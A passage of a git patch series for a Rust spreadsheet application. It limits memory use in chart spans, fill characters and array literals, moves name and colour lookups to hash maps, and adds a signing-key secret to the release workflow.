chart: a series without values takes no category-span entries (#3300) --- crates/chart/src/render/cartesian.rs | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/chart/src/render/cartesian.rs b/crates/chart/src/render/cartesian.rs index 05105dbf4..7fae90a9f 100644 --- a/crates/chart/src/render/cartesian.rs +++ b/crates/chart/src/render/cartesian.rs @@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve } else { None }; - let mut row = Vec::with_capacity(ncat); - for j in 0..ncat { + // A series without values has no spans: 255 empty series over 20,000 categories would + // otherwise fill ~5 million entries. + let n = if s.values.is_empty() { 0 } else { ncat }; + let mut row = Vec::with_capacity(n); + for j in 0..n { let v = s.values.get(j).copied().flatten(); let span = match (si.and_then(|p| stacks.get_mut(p)), fam) { (Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| { @@ -450,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) } draw_trend_labels(ctx, plot, &trend_labels); } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn empty_series_get_no_span_entries() { + let empty = SeriesData::default(); + let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() }; + let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() }; + let fams = [Fam::Col; 3]; + let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS); + assert_eq!(spans.iter().map(Vec::len).collect::>(), [0, MAX_CATS, 0]); + } +} From e5f6fa81974df8baa54a8345fa5daed5e419256a Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:57:23 -0500 Subject: [PATCH 18/20] ui-egui: reference colours through a map; cap fill-character repeats per cell (#3311) --- crates/ui-egui/src/editor.rs | 11 +++-------- crates/ui-egui/src/grid/quadrant.rs | 6 +++++- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/crates/ui-egui/src/editor.rs b/crates/ui-egui/src/editor.rs index d3cab75ea..71fd2a170 100644 --- a/crates/ui-egui/src/editor.rs +++ b/crates/ui-egui/src/editor.rs @@ -375,7 +375,7 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, let offset = text.len() - body.len(); let Ok(toks) = gridcraft_engine::formula::lexer::tokenize(body) else { return vec![] }; let mut out: Vec<(usize, usize, RangeRef, Option, usize)> = Vec::new(); - let mut seen: Vec = Vec::new(); + let mut seen: std::collections::HashMap = std::collections::HashMap::new(); let mut i = 0; while i < toks.len() { use gridcraft_engine::formula::lexer::Tok; @@ -407,13 +407,8 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, continue; }; let key = body.get(start..end).unwrap_or("").replace('$', "").to_ascii_uppercase(); - let idx = match seen.iter().position(|k| *k == key) { - Some(k) => k, - None => { - seen.push(key); - seen.len() - 1 - } - }; + let next = seen.len(); + let idx = *seen.entry(key).or_insert(next); out.push((start + offset, end + offset, range, sheet, idx % REF_COLOR_COUNT)); continue; } diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 0469c345f..7461c2204 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -278,6 +278,9 @@ fn paint_cell_decorations(q: &QuadrantPaint<'_>, c: CellRef, rect: Rect, lk: &Lo false } +/// Most repeats of a fill character laid out in one cell. +const MAX_FILL_REPEATS: usize = 8192; + fn paint_data_bar(p: &egui::Painter, rect: Rect, frac: f32, rgb: [u8; 3], gradient: bool) { let bar = Rect::from_min_size(pos2(rect.left() + 2.0, rect.top() + 2.0), vec2((rect.width() - 4.0) * frac, rect.height() - 4.0)); let col = theme::color32(rgb); @@ -432,7 +435,8 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option Date: Tue, 3 Nov 2026 22:57:52 -0500 Subject: [PATCH 19/20] formula, calc: LET/LAMBDA names looked up through a map; ragged array literals refused before reserving (#3312) --- crates/calc/src/eval.rs | 5 ++++ crates/formula/src/input.rs | 48 ++++++++++++++++++++++++++++++++----- 2 files changed, 47 insertions(+), 6 deletions(-) diff --git a/crates/calc/src/eval.rs b/crates/calc/src/eval.rs index 7a957f3a4..7f10354da 100644 --- a/crates/calc/src/eval.rs +++ b/crates/calc/src/eval.rs @@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> { Expr::Array(rows) => { let h = rows.len(); let w = rows.first().map_or(0, Vec::len); + // A ragged literal is an error either way; one wide row and many empty ones must + // not reserve their rows-times-width product first. + if rows.iter().any(|row| row.len() != w) { + return err(CellError::Value); + } let mut data = Vec::with_capacity(h * w); for row in rows { for el in row { diff --git a/crates/formula/src/input.rs b/crates/formula/src/input.rs index 1c8929739..6d95587a7 100644 --- a/crates/formula/src/input.rs +++ b/crates/formula/src/input.rs @@ -61,7 +61,7 @@ impl FormulaLocale { pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result { let mut expr = parser::parse_syntax(src, locale)?; if locale == FormulaLocale::Es { - normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?; } Ok(expr) } @@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str) return Ok(crate::print(expr)); } let mut expr = expr.clone(); - normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?; let canonical = crate::print(&expr); let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?; let mut out = String::new(); @@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option { } } -fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec, depth: usize, display: bool) -> Result<(), ParseError> { +/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe +/// instead of a scan of every binding for each call. +#[derive(Default)] +struct Bindings { + stack: Vec, + counts: std::collections::HashMap, +} + +impl Bindings { + fn len(&self) -> usize { + self.stack.len() + } + + fn push(&mut self, name: &str) { + let key = crate::fold_name(name); + *self.counts.entry(key.clone()).or_default() += 1; + self.stack.push(key); + } + + fn truncate(&mut self, len: usize) { + while self.stack.len() > len { + let Some(key) = self.stack.pop() else { break }; + if let Some(n) = self.counts.get_mut(&key) { + *n -= 1; + if *n == 0 { + self.counts.remove(&key); + } + } + } + } + + fn contains(&self, name: &str) -> bool { + self.counts.contains_key(&crate::fold_name(name)) + } +} + +fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> { if depth > parser::MAX_DEPTH { return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 }); } - let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name); + let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name); match expr { Expr::Bool(value) if display => { let alias = if *value { "VERDADERO" } else { "FALSO" }; @@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut // The new name is not in scope in its own value expression. normalize(value, known_name, bindings, depth + 1, display)?; if let Expr::Name(name) = declaration { - bindings.push(name.clone()); + bindings.push(name); } } } @@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut if let Some((body, params)) = args.split_last_mut() { for param in params { if let Expr::Name(name) = param { - bindings.push(name.clone()); + bindings.push(name); } } normalize(body, known_name, bindings, depth + 1, display)?; From 3162ac09f345df939edb0dc74ff9c86649d0a4b8 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Wed, 4 Nov 2026 17:45:51 -0500 Subject: [PATCH 20/20] Pass the Linux signing key to the release workflow (#3380) --- .github/workflows/release.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e0c09905d..eba6ece89 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -42,3 +42,4 @@ jobs: AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }} AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }} AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }} + LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}